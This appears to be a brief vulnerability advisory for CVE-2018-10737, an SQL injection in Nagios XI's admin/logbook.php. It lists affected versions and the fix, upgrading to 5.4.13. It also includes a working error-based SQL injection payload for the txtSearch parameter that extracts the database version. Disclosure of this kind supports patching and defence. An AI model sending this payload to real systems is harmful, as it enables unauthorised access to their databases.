### NagiosXI <= 5.4.12 logbook.php SQL injection(CVE-2018-10737)
#### Description
A SQL injection issue was discovered in Nagios XI via the admin/logbook.php txtSearch parameter.
#### Affected Version
* Nagios XI 5.2.x
* Nagios XI 5.4.x before 5.4.13
#### Proof of concept
```
http://xxxx/nagiosql/admin/logbook.php
postdata: txtSearch=-1%' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
```
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#### Fix
Upgrade to version 5.4.13
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